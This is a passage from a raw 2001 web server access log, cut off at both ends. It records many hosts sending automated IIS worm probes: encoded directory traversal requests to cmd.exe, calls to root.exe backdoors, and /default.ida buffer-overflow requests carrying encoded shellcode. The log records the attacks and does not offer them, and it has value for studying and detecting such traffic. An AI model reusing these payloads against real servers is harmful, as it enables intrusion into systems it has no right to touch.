HTTP/1.0" 20010919 13:07:27: sgrm318.grm.hia.no [128.39.203.62] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 13:07:27: sgrm318.grm.hia.no [128.39.203.62] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 13:07:28: sgrm318.grm.hia.no [128.39.203.62] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 13:07:28: sgrm318.grm.hia.no [128.39.203.62] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 13:07:29: sgrm318.grm.hia.no [128.39.203.62] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 13:07:30: sgrm318.grm.hia.no [128.39.203.62] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 13:07:30: sgrm318.grm.hia.no [128.39.203.62] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 13:07:31: sgrm318.grm.hia.no [128.39.203.62] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 13:07:31: sgrm318.grm.hia.no [128.39.203.62] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 13:07:32: sgrm318.grm.hia.no [128.39.203.62] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 13:07:32: sgrm318.grm.hia.no [128.39.203.62] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 13:07:33: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010919 13:13:08: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010919 13:13:08: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 13:13:09: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 13:13:10: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 13:13:10: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 13:13:10: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 13:13:10: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 13:13:10: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 13:13:10: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 13:13:10: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 13:13:10: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 13:13:10: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 13:13:10: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 13:13:10: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 13:13:10: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 13:13:10: noyce.EECS.Berkeley.EDU [128.32.62.23] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010919 13:16:38: noyce.EECS.Berkeley.EDU [128.32.62.23] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010919 13:16:39: noyce.EECS.Berkeley.EDU [128.32.62.23] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 13:16:39: noyce.EECS.Berkeley.EDU [128.32.62.23] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 13:16:39: noyce.EECS.Berkeley.EDU [128.32.62.23] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 13:16:39: noyce.EECS.Berkeley.EDU [128.32.62.23] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 13:16:40: noyce.EECS.Berkeley.EDU [128.32.62.23] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 13:16:40: noyce.EECS.Berkeley.EDU [128.32.62.23] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 13:16:40: noyce.EECS.Berkeley.EDU [128.32.62.23] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 13:16:40: noyce.EECS.Berkeley.EDU [128.32.62.23] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 13:16:40: noyce.EECS.Berkeley.EDU [128.32.62.23] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 13:16:41: noyce.EECS.Berkeley.EDU [128.32.62.23] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 13:16:41: noyce.EECS.Berkeley.EDU [128.32.62.23] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 13:16:41: noyce.EECS.Berkeley.EDU [128.32.62.23] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 13:16:41: noyce.EECS.Berkeley.EDU [128.32.62.23] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 13:16:42: noyce.EECS.Berkeley.EDU [128.32.62.23] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 13:16:42: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010919 13:26:07: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010919 13:26:07: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 13:26:07: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 13:26:07: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 13:26:08: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 13:26:08: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 13:26:08: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 13:26:09: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 13:26:09: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 13:26:09: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 13:26:09: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 13:26:09: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 13:26:09: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 13:26:09: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 13:26:09: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 13:26:11: dhcp33.cs.columbia.edu [128.59.19.233] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010919 13:30:25: fw1.cmdservices.com [65.82.27.131] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010919 13:31:31: fw1.cmdservices.com [65.82.27.131] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010919 13:31:32: fw1.cmdservices.com [65.82.27.131] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 13:31:32: fw1.cmdservices.com [65.82.27.131] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 13:31:32: fw1.cmdservices.com [65.82.27.131] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 13:31:35: fw1.cmdservices.com [65.82.27.131] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 13:31:36: fw1.cmdservices.com [65.82.27.131] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 13:31:36: fw1.cmdservices.com [65.82.27.131] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 13:31:36: fw1.cmdservices.com [65.82.27.131] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 13:31:36: fw1.cmdservices.com [65.82.27.131] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 13:31:36: fw1.cmdservices.com [65.82.27.131] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 13:31:40: fw1.cmdservices.com [65.82.27.131] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 13:31:40: fw1.cmdservices.com [65.82.27.131] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 13:31:43: fw1.cmdservices.com [65.82.27.131] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 13:31:43: fw1.cmdservices.com [65.82.27.131] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 13:31:43: fw1.cmdservices.com [65.82.27.131] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 13:31:43: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010919 13:33:02: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010919 13:33:02: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 13:33:02: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 13:33:02: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 13:33:02: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 13:33:02: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 13:33:03: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 13:33:03: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 13:33:03: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 13:33:03: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 13:33:03: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 13:33:03: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 13:33:03: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 13:33:05: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 13:33:05: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 13:33:05: [128.164.239.146] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010919 13:35:05: [128.164.239.146] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010919 13:35:23: [128.164.239.146] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 13:35:41: [128.164.239.146] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 13:35:59: [128.164.239.146] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 13:36:18: [128.164.239.146] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 13:36:36: [128.164.239.146] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 13:36:54: [128.164.239.146] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 13:37:12: [128.164.239.146] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 13:37:31: [128.164.239.146] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 13:37:49: [128.164.239.146] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 13:38:07: [128.164.239.146] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 13:38:25: [128.164.239.146] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 13:38:43: [128.164.239.146] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 13:39:01: [128.164.239.146] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 13:39:20: [128.164.239.146] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 13:39:38: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010919 13:42:50: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010919 13:42:50: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 13:42:50: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 13:42:50: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 13:42:50: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 13:42:50: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 13:42:51: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 13:42:51: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 13:42:51: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 13:42:52: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 13:42:54: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 13:42:54: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 13:42:54: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 13:42:54: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 13:42:54: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 13:42:54: [128.164.25.185] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010919 13:45:54: [128.164.25.185] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010919 13:46:12: [128.164.25.185] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 13:46:31: [128.164.25.185] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 13:46:49: [128.164.25.185] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 13:47:07: [128.164.25.185] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 13:47:25: [128.164.25.185] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 13:47:44: [128.164.25.185] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 13:48:02: [128.164.25.185] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 13:48:20: [128.164.25.185] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 13:48:52: [128.164.25.185] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 13:49:10: [128.164.25.185] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 13:49:28: [128.164.25.185] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 13:49:47: [128.164.25.185] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 13:50:13: [128.164.25.185] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 13:50:31: [128.164.25.185] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 13:50:50: [193.188.114.3] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010919 13:51:30: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010919 13:55:04: tornado8.rtp.dg.com [128.222.25.118] "" 20010919 13:55:24: tornado8.rtp.dg.com [128.222.25.118] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010919 13:55:47: tornado8.rtp.dg.com [128.222.25.118] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 13:56:17: [128.242.227.159] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010919 14:09:00: [128.242.227.159] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010919 14:09:19: [128.242.227.159] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 14:09:37: [128.242.227.159] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 14:09:55: dhcp33.cs.columbia.edu [128.59.19.233] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010919 14:09:56: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010919 14:19:24: borenti2.law.columbia.edu [128.59.176.142] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010919 14:19:24: borenti2.law.columbia.edu [128.59.176.142] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 14:19:25: borenti2.law.columbia.edu [128.59.176.142] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 14:19:25: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 14:19:25: borenti2.law.columbia.edu [128.59.176.142] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 14:19:25: borenti2.law.columbia.edu [128.59.176.142] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 14:19:25: borenti2.law.columbia.edu [128.59.176.142] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 14:19:26: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 14:19:26: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 14:19:27: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 14:19:30: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 14:19:36: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 14:19:36: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 14:19:37: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 14:19:37: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 14:19:37: dialup-1-75.cc.columbia.edu [128.59.42.84] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010919 14:19:38: dialup-1-75.cc.columbia.edu [128.59.42.84] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010919 14:19:42: dialup-1-75.cc.columbia.edu [128.59.42.84] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 14:19:50: [209.10.27.139] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010919 14:20:43: [209.10.27.139] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010919 14:21:05: bus84-017.gsb.columbia.edu [128.59.84.17] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010919 14:23:07: dialup-1-75.cc.columbia.edu [128.59.42.84] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010919 14:23:22: dialup-1-75.cc.columbia.edu [128.59.42.84] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010919 14:23:27: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010919 14:25:03: borenti2.law.columbia.edu [128.59.176.142] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010919 14:25:03: borenti2.law.columbia.edu [128.59.176.142] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 14:25:03: borenti2.law.columbia.edu [128.59.176.142] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 14:25:03: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 14:25:03: borenti2.law.columbia.edu [128.59.176.142] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010919 14:25:03: borenti2.law.columbia.edu [128.59.176.142] "GET 